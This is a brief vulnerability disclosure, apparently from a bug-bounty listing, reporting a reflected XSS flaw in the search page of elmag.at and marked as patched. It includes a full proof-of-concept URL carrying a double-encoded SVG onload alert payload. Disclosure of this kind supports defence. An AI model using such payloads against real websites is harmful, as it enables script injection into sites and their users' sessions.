elmag.at XSS vulnerability

Vulnerable URL: https://www.elmag.at/de/catalogsearch/result?q=%2522%253Eblub%253Csvg%252Fonload%253Dalert%2528%252FOPENBUGBOUNTY%252F%2529%253E%2522%253Eblub%253Csvg%252Fonload%253Dalert%2528%252FOPENBUGBOUNTY%252F%2529%253E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability...